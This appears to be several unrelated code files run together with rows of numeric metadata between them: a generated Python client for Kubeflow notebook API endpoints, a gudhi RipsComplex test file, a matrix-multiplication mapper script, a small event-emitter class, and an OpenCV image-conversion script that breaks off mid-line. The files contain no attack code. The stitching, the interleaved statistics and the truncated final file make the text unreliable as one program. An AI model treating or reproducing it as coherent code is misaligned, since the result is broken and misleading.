self.get_notebook_template_with_http_info(id, **kwargs) # noqa: E501 return data def get_notebook_template_with_http_info(self, id, **kwargs): # noqa: E501 """get_notebook_template # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_notebook_template_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :return: ApiGetTemplateResponse If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_notebook_template" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `get_notebook_template`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/{id}/templates', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiGetTemplateResponse', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_notebooks(self, **kwargs): # noqa: E501 """list_notebooks # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_notebooks(async_req=True) >>> result = thread.get() :param async_req bool :param str page_token: :param int page_size: :param str sort_by: Can be format of \"field_name\", \"field_name asc\" or \"field_name desc\" Ascending by default. :param str filter: A string-serialized JSON dictionary with key-value pairs that correspond to the Notebook's attribute names and their respective values to be filtered for. :return: ApiListNotebooksResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_notebooks_with_http_info(**kwargs) # noqa: E501 else: (data) = self.list_notebooks_with_http_info(**kwargs) # noqa: E501 return data def list_notebooks_with_http_info(self, **kwargs): # noqa: E501 """list_notebooks # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_notebooks_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param str page_token: :param int page_size: :param str sort_by: Can be format of \"field_name\", \"field_name asc\" or \"field_name desc\" Ascending by default. :param str filter: A string-serialized JSON dictionary with key-value pairs that correspond to the Notebook's attribute names and their respective values to be filtered for. :return: ApiListNotebooksResponse If the method is called asynchronously, returns the request thread. """ all_params = ['page_token', 'page_size', 'sort_by', 'filter'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_notebooks" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'page_token' in params: query_params.append(('page_token', params['page_token'])) # noqa: E501 if 'page_size' in params: query_params.append(('page_size', params['page_size'])) # noqa: E501 if 'sort_by' in params: query_params.append(('sort_by', params['sort_by'])) # noqa: E501 if 'filter' in params: query_params.append(('filter', params['filter'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiListNotebooksResponse', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def run_notebook(self, id, **kwargs): # noqa: E501 """run_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.run_notebook(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :param str run_name: name to identify the run on the Kubeflow Pipelines UI, defaults to notebook name :param dict parameters: optional run parameters, may be required based on pipeline definition :return: ApiRunCodeResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.run_notebook_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.run_notebook_with_http_info(id, **kwargs) # noqa: E501 return data def run_notebook_with_http_info(self, id, **kwargs): # noqa: E501 """run_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.run_notebook_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :param str run_name: name to identify the run on the Kubeflow Pipelines UI, defaults to notebook name :param dict parameters: optional run parameters, may be required based on pipeline definition :return: ApiRunCodeResponse If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'run_name', 'parameters'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method run_notebook" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `run_notebook`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] if 'run_name' in params: query_params.append(('run_name', params['run_name'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None if 'parameters' in params: body_params = params['parameters'] # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/{id}/run', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiRunCodeResponse', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def set_featured_notebooks(self, notebook_ids, **kwargs): # noqa: E501 """set_featured_notebooks # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_featured_notebooks(notebook_ids, async_req=True) >>> result = thread.get() :param async_req bool :param list[str] notebook_ids: Array of notebook IDs to be featured. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.set_featured_notebooks_with_http_info(notebook_ids, **kwargs) # noqa: E501 else: (data) = self.set_featured_notebooks_with_http_info(notebook_ids, **kwargs) # noqa: E501 return data def set_featured_notebooks_with_http_info(self, notebook_ids, **kwargs): # noqa: E501 """set_featured_notebooks # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_featured_notebooks_with_http_info(notebook_ids, async_req=True) >>> result = thread.get() :param async_req bool :param list[str] notebook_ids: Array of notebook IDs to be featured. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['notebook_ids'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method set_featured_notebooks" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'notebook_ids' is set if ('notebook_ids' not in params or params['notebook_ids'] is None): raise ValueError("Missing the required parameter `notebook_ids` when calling `set_featured_notebooks`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'notebook_ids' in params: body_params = params['notebook_ids'] # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/featured', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def upload_notebook(self, uploadfile, **kwargs): # noqa: E501 """upload_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.upload_notebook(uploadfile, async_req=True) >>> result = thread.get() :param async_req bool :param file uploadfile: The notebook metadata YAML file to upload. Can be a GZip-compressed TAR file (.tgz, .tar.gz) or a YAML file (.yaml, .yml). Maximum size is 32MB. (required) :param str name: :param str enterprise_github_token: Optional GitHub API token providing read-access to notebooks stored on Enterprise GitHub accounts. :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.upload_notebook_with_http_info(uploadfile, **kwargs) # noqa: E501 else: (data) = self.upload_notebook_with_http_info(uploadfile, **kwargs) # noqa: E501 return data def upload_notebook_with_http_info(self, uploadfile, **kwargs): # noqa: E501 """upload_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.upload_notebook_with_http_info(uploadfile, async_req=True) >>> result = thread.get() :param async_req bool :param file uploadfile: The notebook metadata YAML file to upload. Can be a GZip-compressed TAR file (.tgz, .tar.gz) or a YAML file (.yaml, .yml). Maximum size is 32MB. (required) :param str name: :param str enterprise_github_token: Optional GitHub API token providing read-access to notebooks stored on Enterprise GitHub accounts. :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ all_params = ['uploadfile', 'name', 'enterprise_github_token'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method upload_notebook" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'uploadfile' is set if ('uploadfile' not in params or params['uploadfile'] is None): raise ValueError("Missing the required parameter `uploadfile` when calling `upload_notebook`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'name' in params: query_params.append(('name', params['name'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} if 'uploadfile' in params: local_var_files['uploadfile'] = params['uploadfile'] # noqa: E501 if 'enterprise_github_token' in params: form_params.append(('enterprise_github_token', params['enterprise_github_token'])) # noqa: E501 body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['multipart/form-data']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/upload', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNotebook', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def upload_notebook_file(self, id, uploadfile, **kwargs): # noqa: E501 """upload_notebook_file # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.upload_notebook_file(id, uploadfile, async_req=True) >>> result = thread.get() :param async_req bool :param str id: The id of the notebook. (required) :param file uploadfile: The file to upload, overwriting existing. Can be a GZip-compressed TAR file (.tgz), a YAML file (.yaml), Python script (.py), or Markdown file (.md) (required) :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.upload_notebook_file_with_http_info(id, uploadfile, **kwargs) # noqa: E501 else: (data) = self.upload_notebook_file_with_http_info(id, uploadfile, **kwargs) # noqa: E501 return data def upload_notebook_file_with_http_info(self, id, uploadfile, **kwargs): # noqa: E501 """upload_notebook_file # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.upload_notebook_file_with_http_info(id, uploadfile, async_req=True) >>> result = thread.get() :param async_req bool :param str id: The id of the notebook. (required) :param file uploadfile: The file to upload, overwriting existing. Can be a GZip-compressed TAR file (.tgz), a YAML file (.yaml), Python script (.py), or Markdown file (.md) (required) :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'uploadfile'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method upload_notebook_file" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `upload_notebook_file`") # noqa: E501 # verify the required parameter 'uploadfile' is set if ('uploadfile' not in params or params['uploadfile'] is None): raise ValueError("Missing the required parameter `uploadfile` when calling `upload_notebook_file`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} if 'uploadfile' in params: local_var_files['uploadfile'] = params['uploadfile'] # noqa: E501 body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['multipart/form-data']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/{id}/upload', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNotebook', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def upload_notebook_from_url(self, url, **kwargs): # noqa: E501 """upload_notebook_from_url # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.upload_notebook_from_url(url, async_req=True) >>> result = thread.get() :param async_req bool :param str url: URL pointing to the notebook YAML file. (required) :param str name: Optional, the name of the notebook to be created overriding the name in the YAML file. :param str access_token: Optional, the Bearer token to access the 'url'. :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.upload_notebook_from_url_with_http_info(url, **kwargs) # noqa: E501 else: (data) = self.upload_notebook_from_url_with_http_info(url, **kwargs) # noqa: E501 return data def upload_notebook_from_url_with_http_info(self, url, **kwargs): # noqa: E501 """upload_notebook_from_url # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.upload_notebook_from_url_with_http_info(url, async_req=True) >>> result = thread.get() :param async_req bool :param str url: URL pointing to the notebook YAML file. (required) :param str name: Optional, the name of the notebook to be created overriding the name in the YAML file. :param str access_token: Optional, the Bearer token to access the 'url'. :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ all_params = ['url', 'name', 'access_token'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method upload_notebook_from_url" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'url' is set if ('url' not in params or params['url'] is None): raise ValueError("Missing the required parameter `url` when calling `upload_notebook_from_url`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'name' in params: query_params.append(('name', params['name'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} if 'url' in params: form_params.append(('url', params['url'])) # noqa: E501 if 'access_token' in params: form_params.append(('access_token', params['access_token'])) # noqa: E501 body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['multipart/form-data']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/upload_from_url', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNotebook', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)
39.309693
191
0.607489
5,739
49,884
5.032236
0.043562
0.045152
0.025208
0.03241
0.951177
0.936357
0.923823
0.917105
0.909245
0.901489
0
0.014626
0.302361
49,884
1,268
192
39.340694
0.815235
0.334897
0
0.779856
0
0
0.180046
0.052556
0
0
0
0
0
1
0.038849
false
0
0.005755
0
0.102158
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b86e7498e897cd4d622080087bb2d72520402bd4
3,993
py
Python
src/python/test/test_rips_complex.py
m0baxter/gudhi-devel
6e14ef1f31e09f3875316440303450ff870d9881
[ "MIT" ]
null
null
null
src/python/test/test_rips_complex.py
m0baxter/gudhi-devel
6e14ef1f31e09f3875316440303450ff870d9881
[ "MIT" ]
1
2020-05-24T14:34:45.000Z
2020-05-24T14:34:45.000Z
src/python/test/test_rips_complex.py
m0baxter/gudhi-devel
6e14ef1f31e09f3875316440303450ff870d9881
[ "MIT" ]
1
2020-04-06T07:16:17.000Z
2020-04-06T07:16:17.000Z
""" This file is part of the Gudhi Library - https://gudhi.inria.fr/ - which is released under MIT. See file LICENSE or go to https://gudhi.inria.fr/licensing/ for full license details. Author(s): Vincent Rouvreau Copyright (C) 2016 Inria Modification(s): - YYYY/MM Author: Description of the modification """ from gudhi import RipsComplex from math import sqrt __author__ = "Vincent Rouvreau" __copyright__ = "Copyright (C) 2016 Inria" __license__ = "MIT" def test_empty_rips(): rips_complex = RipsComplex() def test_rips_from_points(): point_list = [[0, 0], [1, 0], [0, 1], [1, 1]] rips_complex = RipsComplex(points=point_list, max_edge_length=42) simplex_tree = rips_complex.create_simplex_tree(max_dimension=1) assert simplex_tree.__is_defined() == True assert simplex_tree.__is_persistence_defined() == False assert simplex_tree.num_simplices() == 10 assert simplex_tree.num_vertices() == 4 assert list(simplex_tree.get_filtration()) == [ ([0], 0.0), ([1], 0.0), ([2], 0.0), ([3], 0.0), ([0, 1], 1.0), ([0, 2], 1.0), ([1, 3], 1.0), ([2, 3], 1.0), ([1, 2], 1.4142135623730951), ([0, 3], 1.4142135623730951), ] assert simplex_tree.get_star([0]) == [ ([0], 0.0), ([0, 1], 1.0), ([0, 2], 1.0), ([0, 3], 1.4142135623730951), ] assert simplex_tree.get_cofaces([0], 1) == [ ([0, 1], 1.0), ([0, 2], 1.0), ([0, 3], 1.4142135623730951), ] def test_filtered_rips_from_points(): point_list = [[0, 0], [1, 0], [0, 1], [1, 1]] filtered_rips = RipsComplex(points=point_list, max_edge_length=1.0) simplex_tree = filtered_rips.create_simplex_tree(max_dimension=1) assert simplex_tree.__is_defined() == True assert simplex_tree.__is_persistence_defined() == False assert simplex_tree.num_simplices() == 8 assert simplex_tree.num_vertices() == 4 def test_sparse_filtered_rips_from_points(): point_list = [[0, 0], [1, 0], [0, 1], [1, 1]] filtered_rips = RipsComplex(points=point_list, max_edge_length=1.0, sparse=0.001) simplex_tree = filtered_rips.create_simplex_tree(max_dimension=1) assert simplex_tree.__is_defined() == True assert simplex_tree.__is_persistence_defined() == False assert simplex_tree.num_simplices() == 8 assert simplex_tree.num_vertices() == 4 def test_rips_from_distance_matrix(): distance_matrix = [[0], [1, 0], [1, sqrt(2), 0], [sqrt(2), 1, 1, 0]] rips_complex = RipsComplex(distance_matrix=distance_matrix, max_edge_length=42) simplex_tree = rips_complex.create_simplex_tree(max_dimension=1) assert simplex_tree.__is_defined() == True assert simplex_tree.__is_persistence_defined() == False assert simplex_tree.num_simplices() == 10 assert simplex_tree.num_vertices() == 4 assert list(simplex_tree.get_filtration()) == [ ([0], 0.0), ([1], 0.0), ([2], 0.0), ([3], 0.0), ([0, 1], 1.0), ([0, 2], 1.0), ([1, 3], 1.0), ([2, 3], 1.0), ([1, 2], 1.4142135623730951), ([0, 3], 1.4142135623730951), ] assert simplex_tree.get_star([0]) == [ ([0], 0.0), ([0, 1], 1.0), ([0, 2], 1.0), ([0, 3], 1.4142135623730951), ] assert simplex_tree.get_cofaces([0], 1) == [ ([0, 1], 1.0), ([0, 2], 1.0), ([0, 3], 1.4142135623730951), ] def test_filtered_rips_from_distance_matrix(): distance_matrix = [[0], [1, 0], [1, sqrt(2), 0], [sqrt(2), 1, 1, 0]] filtered_rips = RipsComplex(distance_matrix=distance_matrix, max_edge_length=1.0) simplex_tree = filtered_rips.create_simplex_tree(max_dimension=1) assert simplex_tree.__is_defined() == True assert simplex_tree.__is_persistence_defined() == False assert simplex_tree.num_simplices() == 8 assert simplex_tree.num_vertices() == 4
29.360294
99
0.612322
560
3,993
4.071429
0.144643
0.031579
0.178947
0.083333
0.811404
0.811404
0.811404
0.8
0.765789
0.765789
0
0.108344
0.225645
3,993
135
100
29.577778
0.629043
0.077886
0
0.752688
0
0
0.011768
0
0
0
0
0
0.27957
1
0.064516
false
0
0.021505
0
0.086022
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b28946da52ff3d230675b0b9e54d7323f9a8219d
4,612
py
Python
MapReduce2/mapper2.py
ellstock/Database-Management-Project-Big-Matrix-Multiplication
b235f03ebd2cdebdabedb8c32d6d8f1750a4e922
[ "MIT" ]
null
null
null
MapReduce2/mapper2.py
ellstock/Database-Management-Project-Big-Matrix-Multiplication
b235f03ebd2cdebdabedb8c32d6d8f1750a4e922
[ "MIT" ]
null
null
null
MapReduce2/mapper2.py
ellstock/Database-Management-Project-Big-Matrix-Multiplication
b235f03ebd2cdebdabedb8c32d6d8f1750a4e922
[ "MIT" ]
null
null
null
#!/usr/bin/python import sys ##get the size of the matrices from a size file: #info = open("matrix_size.txt").readlines() #for info_line in info: # info_line = info_line.strip() # matrix,i,j = info_line.split(",") # if matrix == "A": # #error prone type conversion # try: # A_i = int(i) # A_j = int(j) # except ValueError: # continue # else: # try: # B_i = int(i) # B_j = int(j) # except ValueError: # continue #initialize row and column vector: m = int(3) p = int(3) n = int(3) # A (n x p) ; B (p x m) ind_list=[] val_list=[] mat_list=[] prev_key_index= None for line in sys.stdin: #strip and get the values in each line (i.e. the key, the index and the value) line = line.strip() key_index, matrix, ind, v = line.split("\t") #error-prone type conversion to integer: try: key_index = int(key_index) ind = int(ind) v = int(v) except ValueError: continue if (key_index != prev_key_index) & (prev_key_index!=None): for l in range(len(mat_list)): if mat_list[l] == "A": for a in range(1,n+1): key = str(ind_list[l]) + "," + str(a) print "%s\t%s\t%s"%(str(prev_key_index),key,str(val_list[l])) #we use tab to get rid of the problem of negative number else: for a in range(1,p+1): key = str(a) + "," + str(ind_list[l]) print "%s\t%s\t%s"%(str(prev_key_index),key,str(val_list[l])) #initialize row and column vector: ind_list=[] val_list=[] mat_list=[] ind_list.append(ind) val_list.append(v) mat_list.append(matrix) prev_key_index = key_index for l in range(len(mat_list)): if mat_list[l] == "A": for a in range(1,n+1): key = str(ind_list[l]) + "," + str(a) print "%s\t%s\t%s"%(str(prev_key_index),key,str(val_list[l])) #we use tab to get rid of the problem of negative number else: for a in range(1,p+1): key = str(a) + "," + str(ind_list[l]) print "%s\t%s\t%s"%(str(prev_key_index),key,str(val_list[l])) ##!/usr/bin/python # #import sys # ###get the size of the matrices from a size file: ##info = open("matrix_size.txt").readlines() ##for info_line in info: ## info_line = info_line.strip() ## matrix,i,j = info_line.split(",") ## if matrix == "A": ## #error prone type conversion ## try: ## A_i = int(i) ## A_j = int(j) ## except ValueError: ## continue ## else: ## try: ## B_i = int(i) ## B_j = int(j) ## except ValueError: ## continue # ##initialize row and column vector: #m = int(2) #p = int(2) #n = int(2) # ## A (n x p) ; B (p x m) # #ind_list=[] #val_list=[] #mat_list=[] # #prev_key_index= None # #for line in sys.stdin: # #strip and get the values in each line (i.e. the key, the index and the value) # line = line.strip() # key_index, matrix, ind, v = line.split("\t") # #error-prone type conversion to integer: # try: # key_index = int(key_index) # ind = int(ind) # v = int(v) # except ValueError: # continue # # if (key_index != prev_key_index) & (prev_key_index!=None): # for l in range(len(mat_list)): # if mat_list[l] == "A": # for a in range(1,n+1): # key = str(ind_list[l]) + "," + str(a) # print "%s\t%s\t%s"%(key,str(prev_key_index),str(val_list[l])) # #we use tab to get rid of the problem of negative number # else: # for a in range(1,p+1): # key = str(a) + "," + str(ind_list[l]) # print "%s\t%s\t%s"%(key,str(prev_key_index),str(val_list[l])) ##initialize row and column vector: #ind_list=[] # val_list=[] # mat_list=[] # # ind_list.append(ind) # val_list.append(v) # mat_list.append(matrix) # prev_key_index = key_index # #for l in range(len(mat_list)): # if mat_list[l] == "A": # for a in range(1,n+1): # key = str(ind_list[l]) + "," + str(a) # print "%s\t%s\t%s"%(key,str(prev_key_index),str(val_list[l])) # #we use tab to get rid of the problem of negative number #else: # for a in range(1,p+1): # key = str(a) + "," + str(ind_list[l]) # print "%s\t%s\t%s"%(key,str(prev_key_index),str(val_list[l]))
28.825
83
0.523851
718
4,612
3.222841
0.111421
0.089888
0.082973
0.038029
0.990493
0.990493
0.990493
0.990493
0.990493
0.990493
0
0.00696
0.314614
4,612
159
84
29.006289
0.725087
0.632264
0
0.55814
0
0
0.03075
0
0
0
0
0
0
0
null
null
0
0.023256
null
null
0.093023
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
a26639ba52c14546cf1e2bc70cf65a3fdec0eb0a
468
py
Python
tomon_sdk/utils/observable.py
tomon-world/tomon-sdk-py
d38e109800867a50d4f23f127cb75e0923c24f72
[ "MIT" ]
6
2020-08-16T08:58:50.000Z
2020-08-27T06:21:39.000Z
tomon_sdk/utils/observable.py
tomon-world/tomon-sdk-py
d38e109800867a50d4f23f127cb75e0923c24f72
[ "MIT" ]
null
null
null
tomon_sdk/utils/observable.py
tomon-world/tomon-sdk-py
d38e109800867a50d4f23f127cb75e0923c24f72
[ "MIT" ]
null
null
null
from node_events import EventEmitter class Observable: emitter = EventEmitter() def __init__(self): pass def on(self, event, listener): return self.emitter.on(event, listener) def off(self, event, listener): return self.emitter.off(event, listener) def once(self, event, listener): return self.emitter.once(event, listener) def emit(self, event, *args): return self.emitter.emit(event, *args)
22.285714
49
0.649573
57
468
5.245614
0.350877
0.26087
0.227425
0.230769
0.341137
0.341137
0
0
0
0
0
0
0.245727
468
20
50
23.4
0.847026
0
0
0
0
0
0
0
0
0
0
0
0
1
0.384615
false
0.076923
0.076923
0.307692
0.923077
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
7
a2bc0b87853f02baefe33696bc9e70b11a0bf00e
6,815
py
Python
Convert-Images_Into_Array/images_into_array.py
sujitmandal/Machine-Learning
d4bf364d50781836ad25120fbbb7df6ed784656c
[ "MIT" ]
3
2021-11-26T10:44:29.000Z
2022-01-09T13:20:43.000Z
Convert-Images_Into_Array/images_into_array.py
sujitmandal/Machine-Learning
d4bf364d50781836ad25120fbbb7df6ed784656c
[ "MIT" ]
null
null
null
Convert-Images_Into_Array/images_into_array.py
sujitmandal/Machine-Learning
d4bf364d50781836ad25120fbbb7df6ed784656c
[ "MIT" ]
null
null
null
import os import cv2 import numpy as np from tqdm import tqdm from random import shuffle #Github: https://github.com/sujitmandal #This programe is create by Sujit Mandal """ Github: https://github.com/sujitmandal This programe is create by Sujit Mandal LinkedIn : https://www.linkedin.com/in/sujit-mandal-91215013a/ Facebook : https://www.facebook.com/sujit.mandal.33671748 Twitter : https://twitter.com/mandalsujit37 """ #Document : https://docs.opencv.org/3.4/de/d25/imgproc_color_conversions.html #images_path = input('Enter Image Folder Path : ') #Path of the images folder #image_height = int(input('Enter The Image Size [32, 64, 128] : ')) #image_width = int(input('Enter The Image Size [32, 64, 128] : ')) images_path = ('') #Path of the images folder image_height = 32 #[32, 64, 128] image_width = 32 #[32, 64, 128] #NORNAL def images(images_path, image_height, image_width): imges_list = [] for image in tqdm(os.listdir(images_path)): path = os.path.join(images_path, image) image = cv2.imread(path) image = cv2.resize(image , (image_height, image_width)) imges_list.append([np.array(image)]) shuffle(imges_list) #Convert List Into Array array_image = np.array(imges_list) #Removed Dimention images = array_image[:,0,:,:] return(images) #RGB ↔ GRAY def rgb_gray(images_path, image_height, image_width): imges_list = [] for image in tqdm(os.listdir(images_path)): path = os.path.join(images_path, image) image = cv2.imread(path) image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) image = cv2.resize(image , (image_height, image_width)) imges_list.append([np.array(image)]) shuffle(imges_list) #Convert List Into Array array_image = np.array(imges_list) #Removed Dimention images = array_image[:,0,:,:] return(images) #RGB ↔ CIE L*a*b* def rgb_lab(images_path, image_height, image_width): imges_list = [] for image in tqdm(os.listdir(images_path)): path = os.path.join(images_path, image) image = cv2.imread(path) image = cv2.cvtColor(image, cv2.COLOR_BGR2Lab) image = cv2.resize(image , (image_height, image_width)) imges_list.append([np.array(image)]) shuffle(imges_list) #Convert List Into Array array_image = np.array(imges_list) #Removed Dimention images = array_image[:,0,:,:] return(images) #RGB ↔ HSV def rgb_hsv(images_path, image_height, image_width): imges_list = [] for image in tqdm(os.listdir(images_path)): path = os.path.join(images_path, image) image = cv2.imread(path) image = cv2.cvtColor(image, 